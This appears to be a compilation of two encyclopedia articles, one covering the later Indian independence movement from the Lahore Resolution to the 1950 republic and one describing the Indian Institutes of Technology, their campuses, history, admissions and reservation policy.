          In 1939, the Viceroy Linlithgow declared India's entrance into World War II without consulting provincial governments. In protest, the Congress asked all of its elected representatives to resign from the government. Jinnah, the president of the Muslim League, persuaded participants at the annual Muslim League session at Lahore in 1940 to adopt what later came to be known as the Lahore Resolution, demanding the division of India into two separate sovereign states, one Muslim, the other Hindu; sometimes referred to as Two Nation Theory. Although the idea of Pakistan had been introduced as early as 1930, very few had responded to it. However, the volatile political climate and hostilities between the Hindus and Muslims transformed the idea of Pakistan into a stronger demand.


          


          Revolutionary activities
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          Apart from a few stray incidents, the armed rebellion against the British rulers was not organized before the beginning of the 20th century. The Indian revolutionary underground began gathering momentum through the first decade of 1900s, with groups arising in Maharastra, Bengal, Orissa, Bihar, Uttar Pradesh, Punjab, and the then Madras Presidency including what is now called South India. More groups were scattered around India. Particularly notable movements arose in Bengal, especially around the Partition of Bengal in 1905, and in Punjab. In the former case, it was the educated, intelligent and dedicated youth of the urban Middle Class Bhadralok community that came to form the "Classic" Indian revolutionary, while the latter had an immense support base in the rural and Military society of the Punjab. Organisations like Jugantar and Anushilan Samiti had emerged in the 1900s. The revolutionary philosophies and movement made their presence felt during the 1905 Partition of Bengal. Arguably, the initial steps to organize the revolutionaries were taken by Aurobindo Ghosh, his brother Barin Ghosh, Bhupendranath Datta etc. when they formed the Jugantar party in April 1906. Jugantar was created as an inner circle of the Anushilan Samiti which was already present in Bengal mainly as a revolutionary society in the guise of a fitness club.


          The Anushilan Samiti and Jugantar opened several branches throughout Bengal and other parts of India and recruited young men and women to participate in the revolutionary activities. Several murders and looting were done, with many revolutionaries being captured and imprisoned. The Jugantar party leaders like Barin Ghosh and Bagha Jatin initiated making of explosives. Amongst a number of notable events of political terrorism were the Alipore bomb case, the Muzaffarpur killing tried several activists and many were sentenced to deportation for life, while Khudiram Bose was hanged. The founding of the India House and the The Indian Sociologist under Shyamji Krishna Varma in London in 1909 took the radical movement to Britain itself. On 1 July 1909, Madan Lal Dhingra, an Indian student closely identified with India House in London shot dead William Hutt Curzon Wylie, a British M.P. in London. 1912 saw the Delhi-Lahore Conspiracy planned under Rash Behari Bose, an erstwhile Jugantar member, to assassinate the then Viceroy of India Charles Hardinge. The conspiracy culminated in an attempt to Bomb the Viceregal procession on 23 December 1912, on the occasion of transferring the Imperial Capital tfrom Calcutta to Delhi. In the aftermath of this event, concentrated police and intelligence efforts were made by the British Indian police to destroy the Bengali and Punabi revolutionary underground, which came under intense pressure for sometime. Rash Behari successfully evaded capture for nearly three years. However, by the time that WW I opened in Europe, the revolutionary movement in Bengal (and Punjab) had revived and was strong enough to nearly paralyse the local administration.


          During the First World War, the revolutionaries planned to import arms and ammunitions from Germany and stage an armed revolution against the British.


          The Ghadar Party operated from abroad and cooperated with the revolutionaries in India. This party was instrumental in helping revolutionaries inside India catch hold of foreign arms.


          After the First World War, the revolutionary activities began to slowly wane as it suffered major setbacks due to the arrest of prominent leaders. In the 1920s, some revolutionary activists began to reorganize. Hindustan Socialist Republican Association was formed under the leadership of Chandrasekhar Azad. Bhagat Singh and Batukeshwar Dutt threw a bomb inside the Central Legislative Assembly on 8 April 1929 protesting against the passage of the Public Safety Bill and the Trade Disputes Bill. Following the trial (Central Assembly Bomb Case), Bhagat Singh, Sukhdev and Rajguru were hanged in 1931. Allama Mashriqi founded Khaksar Tehreek in order to direct particularly the Muslims towards the independence movement.


          Surya Sen, along with other activists, raided the Chittagong armoury on 18 April 1930 to capture arms and ammunition and to destroy government communication system to establish a local governance. Pritilata Waddedar led an attack on a European club in Chittagong in 1932, while Bina Das attempted to assassinate Stanley Jackson, the Governor of Bengal inside the convocation hall of Calcutta University. Following the Chittagong armoury raid case, Surya Sen was hanged and several others were deported for life to the Cellular Jail in Andaman. The Bengal Volunteers started operating in 1928. On 8 December 1930, the Benoy- Badal- Dinesh trio of the party entered the secretariat Writers' Building in Kolkata and murdered Col. N. S. Simpson, the Inspector General of Prisons.


          On 13 March 1940, Udham Singh shot Michael O'Dwyer, generally held responsible for the Amritsar Massacre, in London. However, as the political scenario changed in the late 1930s  with the mainstream leaders considering several options offered by the British and with religious politics coming into play  revolutionary activities gradually declined. Many past revolutionaries joined mainstream politics by joining Congress and other parties, especially communist ones, while many of the activists were kept under hold in different jails across the country.


          


          Abhinav Bharat: Armed Revolution


          India won her freedom from British rule due to the combined efforts of patriots of all persuasions. These included the armed revolutionaries, moderate and radical leaders as well as those who led mass movements. Veer Savarkar has been hailed as the prince of revolutionaries. It was Savarkars contention that freedom cannot be won by pleas and petitions. As early as 1900, Savarkar proclaimed that absolute political independence was his goal and incessant armed revolution was the means to achieve that goal. Savarkar regarded the work of revolutionaries like that of sappers and miners in the army. Some of them fearlessly went to the gallows; others underwent untold suffering and torture. Their sacrifice inspired later generations to plunge into mass movements. Through word and deed, Savarkar inspired generations of revolutionaries both in India and abroad. He is credited with placing the case for Indias freedom on the international scene.


          


          The climax: War, Quit India, INA and Post-war revolts


          Indians throughout the country were divided over World War II, as Linlithgow, without consulting the Indian representatives had unilaterally declared India a belligerent on the side of the allies. In opposition to Linlithgow's action, the entire Congress leadership resigned from the local government councils. However, many wanted to support the British war effort, and indeed the British Indian Army was one of the largest volunteer forces during the war. Especially during the Battle of Britain, Gandhi resisted calls for massive civil disobedience movements that came from within as well as outside his party, stating he did not seek India's freedom out of the ashes of a destroyed Britain. However, like the changing fortunes of the war itself, the movement for freedom saw the rise of two movements that formed the climax of the 100-year struggle for independence.


          The first of these, the Azad Hind movement led by Netaji Subhash Chandra Bose, saw its inception early in the war and sought help from the Axis Powers. The second saw its inception in August 1942 led by Gandhi and began following failure of the Cripps' mission to reach a consensus with the Indian political leadership over the transfer of power after the war.


          


          The Indian National Army
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          The arbitrary entry of India into the war was strongly opposed by Subhash Chandra Bose, who had been elected President of the Congress twice, in 1937 and 1939. After lobbying against participation in the war, he resigned from Congress in 1939 and started a new party, the All India Forward Bloc. When war broke out, the Raj had put him under house arrest in Calcutta in 1940. However, at the time the war was at its bloodiest in Europe and Asia, he escaped and made his way through Afghanistan to Germany to seek Axis help to raise an army to fight the shackles of the Raj. Here, he raised with Rommel's Indian POWs what came to be known as the Free India Legion. This came to be the conceptualisation in embryonic form of Bose's dream of raising a liberation Army to fight the Raj. However, the turn of tides in the Battlefields of Europe saw Bose make his way ultimately to Japanese South Asia where he formed what came to be known as the Azad Hind Government as the Provisional Free Indian Government in exile, and organized the Indian National Army with Indian POWs and Indian expatriates at South-East Asia, with the help of the Japanese. Its aim was to reach India as a fighting force that would build on public resentment to inspire revolts among Indian soldiers to defeat the Raj.


          The INA was to see action against the allies, including the British Indian Army, in the forests of in Arakan, Burma and Assam, laying siege on Imphal and Kohima with the Japanese 15th Army. During the war, the Andaman and Nicobar islands were captured by the Japanese and handed over by them to the INA; Bose renamed them Shahid (Martyr) and Swaraj (Independence).


          The INA would ultimately fail, owing to disrupted logistics, poor arms and supplies from the Japanese, and lack of support and training. The supposed death of Bose is seen as culmination of the entire Azad Hind Movement. Following the surrender of Japan, the troops of the INA were brought to India and a number of them charged with treason. However, Bose's audacious actions and radical initiative had by this time captured the public imagination and also turned the inclination of the native soldiers of the British Indian Forces from one of loyalty to the crown to support for the soldiers that the Raj deemed as collaborators.


          After the war, the stories of the Azad Hind movement and its army that came into public limelight during the trials of soldiers of the INA in 1945 were seen as so inflammatory that, fearing mass revolts and uprisings  not just in India, but across its empire  the British Government forbade the BBC from broadcasting their story. Newspapers reported the summary execution of INA soldiers held at Red Fort. During and after the trial, mutinies broke out in the British Indian Armed forces, most notably in the Royal Indian Navy which found public support throughout India, from Karachi to Bombay and from Vizag to Calcutta. Many historians have argued that it was the INA and the mutinies it inspired among the British Indian Armed forces that were the true driving force behind India's final independence.


          


          Quit India


          The Quit India Movement (Bharat Chhodo Andolan) or the August Movement was a civil disobedience movement in India launched in August 1942 in response to Gandhi's call for immediate independence of India and against sending Indians to the World War II.


          At the outbreak of war, the Congress Party had during the Wardha meeting of the working-committee in September 1939, passed a resolution conditionally supporting the fight against fascism, but were rebuffed when they asked for independence in return. In March 1942, faced with an increasingly dissatisfied sub-continent only reluctantly participating in the war, and deteriorations in the war situation in Europe and South East Asia, and with growing dissatisfactions among Indian troops- especially in Europe- and among the civilian population in the sub-continent, the British government sent a delegation to India under Stafford Cripps, in what came to be known as the Cripps' Mission. The purpose of the mission was to negotiate with the Indian National Congress a deal to obtain total co-operation during the war, in return of progressive devolution and distribution of power from the crown and the Viceroy to elected Indian legislature. However, the talks failed, having failed to address the key demand of a timeframe towards self-government, and of definition of the powers to be relinquished, essentially portraying an offer of limited dominion-status that was wholly unacceptable to the Indian movement. To force the Raj to meet its demands and to obtain definitive word on total independence, the Congress took the decision to launch the Quit India Movement.


          The aim of the movement was to bring the British Government to the negotiating table by holding the Allied War Effort hostage. The call for determined but passive resistance that signified the certitude that Gandhi foresaw for the movement is best described by his call to Do or Die, issued on 8 August at the Gowalia Tank Maidan in Bombay, since re-named August Kranti Maidan (August Revolution Ground). However, almost the entire Congress leadership, and not merely at the national level, was put into confinement less than twenty-four hours after Gandhi's speech, and the greater number of the Congress khiland were to spend the rest of the war in jail.


          On August 8, 1942, the Quit India resolution was passed at the Bombay session of the All India Congress Committee (AICC). The draft proposed that if the British did not accede to the demands, a massive Civil Disobedience would be launched. However, it was an extremely controversial decision. At Gowalia Tank, Mumbai, Gandhi urged Indians to follow a non-violent civil disobedience. Gandhi told the masses to act as an independent nation and not to follow the orders of the British. The British, already alarmed by the advance of the Japanese army to the IndiaBurma border, responded the next day by imprisoning Gandhi at the Aga Khan Palace in Pune. The Congress Party's Working Committee, or national leadership was arrested all together and imprisoned at the Ahmednagar Fort. They also banned the party altogether. Large-scale protests and demonstrations were held all over the country. Workers remained absent en masse and strikes were called. The movement also saw widespread acts of sabotage, Indian under-ground organisation carried out bomb attacks on allied supply convoys, government buildings were set on fire, electricity lines were disconnected and transport and communication lines were severed. The Congress had lesser success in rallying other political forces, including the Muslim League under a single mast and movement. It did however, obtain passive support from a substantial Muslim population at the peak of the movement.


          The British swiftly responded by mass detentions. A total over 100,000 arrests were made nationwide, mass fines were levied, bombs were airdropped and demonstrators were subjected to public flogging.


          The movement soon became a leaderless act of defiance, with a number of acts that deviated from Gandhi's principle of non-violence. In large parts of the country, the local underground organisations took over the movement. However, by 1943, Quit India had petered out.


          


          RIN Mutiny


          The Royal Indian Navy Mutiny (the RIN Mutiny or the Bombay Mutiny) encompasses a total strike and subsequent mutiny by the Indian sailors of the Royal Indian Navy on board ship and shore establishments at Bombay (Mumbai) harbour on 18 February 1946. From the initial flashpoint in Bombay, the mutiny spread and found support through India, from Karachi to Calcutta and ultimately came to involve 78 ships, 20 shore establishments and 20,000 sailors.


          The RIN Mutiny started as a strike by ratings of the Royal Indian Navy on the 18th February in protest against general conditions. The immediate issues of the mutiny were conditions and food, but there were more fundamental matters such as racist behaviour by British officers of the Royal Navy personnel towards Indian sailors, and disciplinary measures being taken against anyone demonstrating pro-nationalist sympathies. By dusk on 19 February, a Naval Central Strike committee was elected. Leading Signalman M.S Khan and Petty Officer Telegraphist Madan Singh were unanimously elected President and Vice-President respectively.. The strike found immense support among the Indian population already in grips with the stories of the Indian National Army. The actions of the mutineers were supported by demonstrations which included a one-day general strike in Bombay. The strike spread to other cities, and was joined by the Air Force and local police forces. Naval officers and men began calling themselves the Indian National Navy and offered left-handed salutes to British officers. At some places, NCOs in the British Indian Army ignored and defied orders from British superiors. In Madras and Pune, the British garrisons had to face revolts within the ranks of the British Indian Army. Widespread riotings took place from Karachi to Calcutta. Famously the ships hoisted three flags tied together  those of the Congress, Muslim League, and the Red Flag of the Communist Party of India (CPI), signifying the unity and demarginalisation of communal issues among the mutineers.


          



          


          Independence, 1947 to 1950
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          On 3 June 1947, Viscount Louis Mountbatten, the last British Governor-General of India, announced the partitioning of the British Indian Empire into a secular India and a Muslim Pakistan. On 14 August 1947, Pakistan was declared a separate nation from them. At midnight, on 15 August 1947, India became an independent nation. Violent clashes between Hindus, Muslims, and Sikhs followed. Prime Minister Nehru and Deputy Prime Minister Sardar Vallabhbhai Patel invited Mountbatten to continue as Governor General of India. He was replaced in June 1948 by Chakravarti Rajagopalachari. Patel took on the responsibility of unifying 565 princely states, steering efforts by his iron fist in a velvet glove policies, exemplified by the use of military force to integrate Junagadh, Jammu and Kashmir, and Hyderabad state ( Operation Polo) into India.


          The Constituent Assembly completed the work of drafting the constitution on 26 November 1949; on 26 January 1950 the Republic of India was officially proclaimed. The Constituent Assembly elected Dr. Rajendra Prasad as the first President of India, taking over from Governor General Rajgopalachari. Subsequently, a free and sovereign India absorbed three other territories: Goa (from Portuguese control in 1961), Pondicherry (which the French ceded in 19531954) and Sikkim which was absorbed in 1975. In 1952, India held its first general elections, with a voter turnout exceeding 62%.


          
            Retrieved from " http://en.wikipedia.org/wiki/Indian_independence_movement"
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          The Indian Institutes of Technology (IITs), are a group of seven autonomous engineering and technology-oriented institutes of higher education established and declared as Institutes of National Importance by the Government of India. The IITs were created to train scientists and engineers, with the aim of developing a skilled workforce to support the economic and social development of India after independence in 1947. The students and alumni of IITs are colloquially referred to as IITians.


          In order of establishment the seven IITs are located at Kharagpur, Mumbai (Bombay), Chennai (Madras), Kanpur, Delhi, Guwahati, and Roorkee. The Government of India has announced plans to add nine more IITs, to be established in states that don't yet have an IIT. Some IITs were established with financial assistance and technical expertise from UNESCO, Germany, the United States, and the Soviet Union. Each IIT is an autonomous university, linked to the others through a common IIT Council, which oversees their administration. They have a common admission process for undergraduate admissions, using the Joint Entrance Examination (popularly known as IIT-JEE) to select around 4,000 undergraduate candidates a year. Postgraduate Admissions are done on the basis of the GATE, JAM and CEED. About 15,500 undergraduate and 12,000 graduate students study in the seven IITs, in addition to research scholars.


          IIT alumni have achieved success in a variety of professions. The autonomy of the IITs has helped them to create specialised degrees in technology at the undergraduate level, and consequently to award the Bachelor of Technology (B.Tech.) degree, as opposed to the Bachelor of Engineering (BE) degree awarded by most other Indian universities. The success of the IITs has led to the creation of similar institutes in other fields, such as the National Institutes of Technology and the Institutes of Information Technology ( IIIT).


          


          The Institutes
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          The seven IITs are located in Kharagpur, Bombay, Madras, Kanpur, Delhi, Guwahati, and Roorkee. With the plan to setup eight more IITs in the states of Rajasthan, Bihar, Andhra Pradesh, Himachal Pradesh, Orissa, Madhya Pradesh, Gujarat and Punjab, and the conversion of IT-BHU to an IIT, the total number of IITs will be increased to 16. Six of the eight proposed new IITs, namely, Rajasthan, Bihar (Patna), Andhra Pradesh (Hyderabad), Orissa (Bhubaneshwar), Gujarat (Gandhinagar) and Punjab, are functional as of June 2008 and admitting students for the 2008-'09 academic year. All IITs are autonomous universities that draft their own curricula, and they are, with the exception of IIT Kanpur, members of LAOTSE, an international network of universities in Europe and Asia. LAOTSE membership allows the IITs to exchange students and senior scholars with universities in other countries.


          The first IIT was established in 1951, in Kharagpur (near Kolkata) in the state of West Bengal. It has 29 academic departments, centres and schools, spread over a 8.5km (2,100 acre) campus that is a self-contained township of over 15,000 inhabitants. It has about 450 faculty, 2,200 employees, 3,000 undergraduates and 2,500 postgraduates. The students live in 17 hostels (called Halls of Residence). IIT Kharagpur also has a medical technology school (School of Medical Science and Technology), a management school ( Vinod Gupta School of Management) and a law school ( Rajiv Gandhi School of Intellectual Property Law) within its premises. Its central library is the largest technical library in Asia.
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          The second IIT to be established, IIT Bombay, was founded in 1958 in Powai, Mumbai (Bombay). It was set up with assistance from UNESCO and the Soviet Union, which provided technical expertise. The Indian government underwrote all other expenses, including the construction costs. With an area of 2.23km (550acres) and a total of 24 departments, centres and schools, it is the largest university in the state of Maharashtra. In addition, IIT Bombay has 13 student hostels with about 2,200 undergraduate and 2,000 postgraduate students. IIT Bombay also has schools in management ( Shailesh J. Mehta School of Management) and information technology ( Kanwal Rekhi School of Information Technology) on its premises. Despite a change in the name of the city, the IIT retains the original name.


          IIT Madras is located in the city of Chennai in Tamil Nadu. It was established in 1959 with technical assistance from the Government of West Germany and has nearly 360 faculty and approximately 2,500 undergraduate and 2,000 postgraduate students. The campus is spread over an area of about 2.5km (620acres), and has 16 academic departments, nearly 100 laboratories, and 17 hostels. As with IIT Bombay, it retains its original name despite a change in the name of its city. It is the only IIT to offer a 5-year integrted MA programme in Humanities and the social scinces; the admission to which takes place via an entrance exam- the IIT-Humanities and Social sciences Entrance Exam(IIT-HSEE).
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          IIT Kanpur was established in 1959 in the city of Kanpur, Uttar Pradesh. During its first 10 years, IIT Kanpur benefited from the KanpurIndo-American Programme, where a consortium of nine US universities helped to set up the research laboratories and academic programmes. It covers an area of 4.85km (1,200acres). It has approximately 500 faculty members, and about 2,000 undergraduate and an equal number of postgraduate students live in 10 hostels.


          Established as the College of Engineering in 1961, IIT Delhi was given the current name and declared an Institution of National Importance under the "Institutes of Technology (Amendment) Act, 1963". It is located in Hauz Khas (New Delhi) and has an area of 1.3km (320acres). It has 11 hostels and 26 departments, centres and schools. It has 426 faculty members and approximately 2,200 undergraduate and 1,600 postgraduate students.
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          IIT Guwahati was established in 1994 near the city of Guwahati ( Assam) on the northern banks of the Brahmaputra River. The sprawling 2.85km (705acres) campus attracts many visitors because of its scenic beauty. There are approximately 1,300 undergraduate and 500 postgraduate students in 14 departments, which have a total of 152 faculty members.


          
            [image: Main (Administrative) Building, IIT Roorkee.]

            
              Main (Administrative) Building, IIT Roorkee.
            

          


          IIT Roorkee, originally known as the University of Roorkee, was established in 1847 as the first engineering college of the British Empire. Located in Uttarakhand, the college was renamed The Thomson College of Civil Engineering in 1854. It became first technical university of India in 1949 and was renamed "University of Roorkee". The University of Roorkee was included in the IIT system in 2001 as IIT Roorkee. It runs eleven Under Graduate, five Integrated Dual Degree, three Integrated M.Tech., three Integrated M.Sc., 61 Post Graduate and several Doctoral Programmes.The campus also includes the Department of Management Studies (DOMS), offering MBA courses. It has an academic staff strength of 342 as per the session of 2007-2008. The Institute has two campuses. The main campus is at Roorkee in Uttarakhand and the other one is 50 km away at Saharanpur in Uttar Pradesh. The campus at Roorkee is spread over 356acres (1.44km) of landscaped lush greenery and has twelve students hostels. A 10 acre campus is being developed as an extension centre at Greater Noida.


          


          History
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          The history of the IIT system dates back to 1946 when Sir Jogendra Singh of the Viceroy's Executive Council set up a committee whose task was to consider the creation of Higher Technical Institutions for post-war industrial development in India. The 22-member committee, headed by Nalini Ranjan Sarkar, recommended the establishment of these institutions in various parts of India, with affiliated secondary institutions. The committee felt that such institutes should not only produce undergraduates, but researchers and academics. The institutes were expected to maintain high educational standards.


          With these recommendations in view, the first Indian Institute of Technology was founded in May 1950 at the site of the Hijli Detention Camp in Kharagpur. On September 15, 1956, the Parliament of India passed the Indian Institute of Technology (Kharagpur) Act, declaring it as an Institute of National Importance. Jawaharlal Nehru, first Prime Minister of India, in the first convocation address of IIT Kharagpur in 1956 said:


          
            
              	

              	Here in the place of that Hijli Detention Camp stands the fine monument of India, representing India's urges, India's future in the making. This picture seems to me symbolical of the changes that are coming to India.

              	
            

          


          On the recommendations of the Sarkar Committee, four campuses were established at Mumbai (1958), Chennai (1959), Kanpur (1959), and Delhi (1961). The location of these campuses was chosen to be scattered throughout India to prevent regional imbalance. The Indian Institutes of Technology Act was amended to reflect the addition of new IITs. Student agitations in the state of Assam made Prime Minister Rajiv Gandhi promise the creation of a new IIT in Assam. This led to a sixth campus at Guwahati under the Assam Accord in 1994. The University of Roorkee, India's oldest engineering college, was conferred IIT status in 2001.
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          Over the past few years, there have been a number of developments toward establishing new IITs. On October 1, 2003, Prime Minister Atal Bihari Vajpayee announced plans to create more IITs "by upgrading existing academic institutions that have the necessary promise and potential". Subsequent developments led to the formation of the S K Joshi Committee in November 2003 to guide the selection of the five institutions which would become the five new IITs. Based on the initial recommendations of the Sarkar Committee, it was decided that further IITs should be spread throughout the country. When the government expressed its willingness to correct this regional imbalance, 16 states demanded IITs. Since the S K Joshi Committee prescribed strict guidelines for institutions aspiring to be IITs, only seven colleges were selected for final consideration. Plans are also reported to open IITs outside India, though not enough progress has been made in this regard. Eventually in the 11th Five year plan, eight states were identified for establishment of new IITs, and IT-BHU was recommended to be converted in to IIT.


          


          Organisational structure
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          The President of India is the most powerful person in the organisational structure of IITs, being the ex officio Visitor, and having residual powers. Directly under the President is the IIT Council, which comprises the minister-in-charge of technical education in the Union Government, the Chairmen of all IITs, the Directors of all IITs, the Chairman of the University Grants Commission, the Director General of CSIR, the Chairman of IISc, the Director of IISc, three members of Parliament, the Joint Council Secretary of Ministry of Human Resource and Development, and three appointees each of the Union Government, AICTE, and the Visitor.


          Under the IIT Council is the Board of Governors of each IIT. Under the Board of Governors is the Director, who is the chief academic and executive officer of the IIT. Under the Director, in the organisational structure, comes the Deputy Director. Under the Director and the Deputy Director, come the Deans, Heads of Departments, Registrar, President of the Students' Council, and Chairman of the Hall Management Committee. The Registrar is the chief administrative officer of the IIT and overviews the day-to-day operations. Below the Heads of Department (HOD) are the faculty members (Professors, Associate Professors, and Assistant Professors). The Wardens come under the Chairman of the Hall Management Committee.


          


          Admission


          Admission to undergraduate B.Tech and integrated M.Tech programs are through IIT-JEE (the Joint Entrance Examination) in which around 300,000 students appear annually out of which only 5,500 get selected. Admission to most postgraduate courses in IITs is granted through various written entrance examinations: GATE (for M.Tech.), JAM (for M.Sc.) and CEED (for M.Des.). The admission for Ph.D. program is based primarily on a personal interview, though candidates may also have to appear for written tests. The IITs are also well known for their special reservation policy, which is significantly different from the one applied in other educational institutions of India.


          


          Entrance examinations
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          Admission to undergraduate programs in all IITs is tied to the Joint Entrance Examination, popularly known as IIT-JEE. Candidates opting for the B.Arch. (Bachelor of Architecture) program in IIT Kharagpur, and the B.Des. (Bachelor of Design) program in IIT Guwahati, have to clear an aptitude test as well. Candidates who qualify admission via IIT-JEE can apply for admission in B.Tech. (Bachelor of Technology), Dual Degree (Integrated Bachelor of Technology and Master of Technology) and Integrated M.Sc. (Master of Sciences) courses in IITs, IT-BHU and ISM Dhanbad. IIT-JEE is a science-oriented entrance exam, testing candidate's knowledge of mathematics, physics and chemistry. It is conducted by an IIT chosen by a policy of rotation. Admission is very competitive, given the huge population of India; the undergraduate acceptance rate through JEE has a low ratio (around 1 in 60) with about 300,000 annual test takers for about 5,500 seats. Only about 4,000 of these seats are offered by IITs, the rest belonging to other institutes that use IIT-JEE. Only students who have completed their 12th and secured at least 60% in their exam (higher secondary studies from a recognised educational board) are allowed to appear for IIT-JEE. The IIT-JEE is well known for frequently changing the types of questions asked in order to discourage study by rote. Since IIT-JEE 2006, the format of the question paper was changed to a single objective test-based paper, replacing the earlier system that employed two tests. The candidates belonging to the general category must secure a minimum aggregate of 60% marks in the qualifying examination of the XIIth standard organised by various educational boards of India. Candidates belonging to Scheduled Caste (SC), Scheduled Tribe (ST) and Physically Disabled (PD) categories must secure a minimum aggregate of 55% in the qualifying examination. The upper age limit for appearing for the IIT-JEE is 25 years. The age limit is relaxed to 30 years for candidates classified in the SC, ST and PD categories. Starting with IIT-JEE 2007, a candidate can take IIT-JEE a maximum of two times, and students who are selected for an IIT cannot attempt the examination again. Students select their institute and department of study based on what is available at the time of their counselling and interview that follows the IIT-JEE result. The interviews are usually spread over five days.


          The admissions into the postgraduate programmes are made through various exams, primarily the Graduate Aptitude Test in Engineering (GATE) for Ph.D., M.Tech., and some MS courses. This exam tests the conceptual clarity in technical subjects and is one of the most difficult in the country.Other prominent entrance exams include JAM (Joint Admission to M.Sc.) for M.Sc., and JMET (Joint Management Entrance Test) for Management Studies.


          


          Reservation policy


          India is one of the countries that practices a form of affirmative action (known by critics as reverse discrimination) on caste-based reserved quotas. As per the provisions in the Indian constitution, the IITs have been reserving seats for Scheduled Castes of society since 1973. The IITs follow a reservation policy that is notably different from the quota policy elsewhere in India.


          As per the rules of admission to IITs, 15% of the admitted students must be of the Scheduled Castes, and 7.5% of seats are reserved for Scheduled Tribes. The Other Backward classes have been provided with 27% reservation in effect from 2008 with the consent of the Supreme Court of India. As per the rules, all the Scheduled Caste (SC) and Scheduled Tribe (ST) candidates must take the IIT-JEE with the rest of the students. Based on the results of IIT-JEE. Another group of candidates who do not meet this relaxed admission criteria are offered a "Preparatory Course" comprising of English, Physics, Chemistry and Mathematics at the IIT concerned. After one year of study, those candidates who are able to secure a grade higher than the prescribed cut-off mark during end-of-semester exams are allowed to continue regular studies. There is no relaxation on the criteria for passing the exams or graduating a course. The candidates admitted through the reservation policy are also subjected to the same criteria as the general candidates for graduation.


          In 1989, Prime Minister V. P. Singh accepted and implemented the proposals of the Mandal Commission that recommended provisions of reservations for OBCs in private unaided institutions as well as high-end government jobs for minority communities. No changes took place in the IITs because of the legislation, but in 2005, based on the recommendations of a political panel, the UPA government proposed to implement the reserved-quota system for the OBCs in IITs and IIMs. It received critical objections by many scholars and critics, who described the proposal as "dangerous and divisive" and based solely on political (vote-bank) purposes. Many argued that the OBCs are not a backward community and enjoy good economic and social status and thus a reservation for OBCs becomes a mere strategy to gain votes. Though, the issue has simmered down as of now, it still remains a very hotly argued one. When the government planned to implement the quota system, anti-reservation protests were organised throughout India against the proposal. Student agitations also took place in the IITs and many students who opposed caste-based reservations resorted to hunger strikes. They labelled the quota system as a government tactic to earn cheap votes, and that the system would lead to increased casteism and a severe compromise on merit and talent.


          The additional procedures for admission into the IITs (the preparatory course and the qualifying end-of-semester exams that follow) have also been criticised as unnecessary and counter-productive. One of the arguments opposing the modified policy of reservation and favouring direct admission is that a large number of seats remain vacant under the present scheme.


          


          Education
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          The IITs receive disproportionately high grants compared to other engineering colleges in India. While the total government funding to most other engineering colleges is around Rs. 100200 million per year, the amount varies between Rs. 9001,300 million per year for each IIT. Other sources of funds include student fees and research funding from industry. This has translated into superior infrastructure and better faculty in the IITs and consequently higher competition among students to gain admissions into the IITs. The faculty-to-student ratio in the IITs is between 1:6 and 1:8. The Standing Committee of IIT Council (SCIC) prescribes the lower limit for faculty-to-student ratio as 1:9, applied department wise. The IITs subsidise undergraduate student fees by approximately 80% and provide scholarships to all Master of Technology students and Research Scholars in order to encourage students for higher studies, per the recommendations of the Thacker Committee (19591961). The cost borne by undergraduate students including boarding and mess expenses is around Rs. 50,000 per annum.


          The various IITs function autonomously, and their special status as Institutes of National Importance facilitates the smooth running of IITs, virtually free from both regional as well as student politics. Such autonomy means that IITs can create their own curricula and adapt rapidly to the changes in educational requirements, free from bureaucratic hurdles. The government has no direct control over internal policy decisions of IITs (like faculty recruitment and curricula) but has representation on the IIT Council. The medium of instruction in all IITs is English. The classes are usually held between 7:30 a.m. and 5:30 p.m., though there are some variations within each IIT. All the IITs have public libraries for the use of their students. In addition to a collection of prescribed books, the libraries have sections for fiction and other literary genres. The electronic libraries allow students to access on-line journals and periodicals.


          The academic policies of each IIT are decided by its Senate. This comprises all professors of the IIT and student representatives. Unlike many western universities that have an elected senate, the IITs have an academic senate. It controls and approves the curriculum, courses, examinations and results, and appoints committees to look into specific academic matters. The teaching, training and research activities of the institute are periodically reviewed by the senate to maintain educational standards. The Director of an IIT is the ex-officio Chairman of the Senate.
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          All the IITs follow the credits system of performance evaluation, with proportional weighting of courses based on their importance. The total marks (usually out of 100) form the basis of grades, with a grade value (out of 10) assigned to a range of marks. Sometimes, relative grading is done considering the overall performance of the whole class. For each semester, the students are graded on a scale of 0 to 10 based on their performance, by taking a weighted average of the grade points from all the courses, with their respective credit points. Each semester evaluation is done independently and then the weighted average over all semesters is used to calculate the cumulative grade point average (known as CGPA or CPICumulative Performance Index).


          


          Undergraduate education
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          The B.Tech. degree is the most common undergraduate degree in the IITs in terms of student enrolment, although Dual Degrees, Integrated (five-year) Master of Science and Master of Arts degrees are also offered. The B.Tech course is based on a 4-year program with eight semesters, while the Dual Degree course is a 5-year program with ten semesters. In all IITs, the first year of B.Tech. and Dual Degree courses are marked by a common course structure for all the students, though in some IITs, a single department introduction related course is also included. The common courses include the basics from most of the departments like Electronics, Mechanics, Chemistry, and Physics. At the end of first year (the end of first semester at IIT Madras), an option to change departments is given to meritorious students on the basis of their performance in the first two semesters. Few such changes ultimately take place as the criteria for them are usually strict, limited to the most meritorious students.


          From the second year onwards, the students study subjects exclusively from their respective departments. In addition to these, the students have to take compulsory advanced courses from other departments in order to broaden their education. Separate compulsory courses from humanities and social sciences department, and sometimes management courses are also enforced. At the end of third year, the undergraduate students have to undertake a summer project at an industry or reputed academic institute as part of the curriculum. In the last year of their studies, most of the students are placed into industries and organisations via the placement process of the respective IIT, though some students opt out of this either when going for higher studies or when they take up jobs by applying to the companies directly.


          


          Postgraduate and doctoral education


          The IITs offer a number of postgraduate programs including Master of Technology (M.Tech.), Master of Business Administration (MBA) (only for engineers and post graduates in science), and Master of Science (M.Sc.). Some IITs offer specialised graduate programmes such as the Post Graduate Diploma in Information Technology (PGDIT), Master in Medical Science and Technology (MMST), Master of City Planning (MCP), Postgraduate Diploma in Intellectual Property Law (PGDIPL), Master of Design (M.Des), and the Postgraduate Diploma in Maritime Operation & Management (PGDMOM). The IITs also offer the Doctor of Philosophy degree (Ph.D.) as part of their doctoral education programme. In it, the candidates are given a topic of academic interest by the professor or have to work on a consultancy project given by the industries. The duration of the program is usually unspecified and depends on the specific discipline. Ph.D. candidates have to submit a dissertation as well as provide an oral defence for their thesis. Teaching Assistantships (TA) and Research Assistantships (RA) are often provided. Some of the IITs offer an M.S. (by research) program; the M.Tech. and M.S. are similar to the US universities' non-thesis (course based) and thesis (research based) masters programs respectively. The IITs, along with NITs and IISc, account for nearly 80% of all PhDs in engineering.


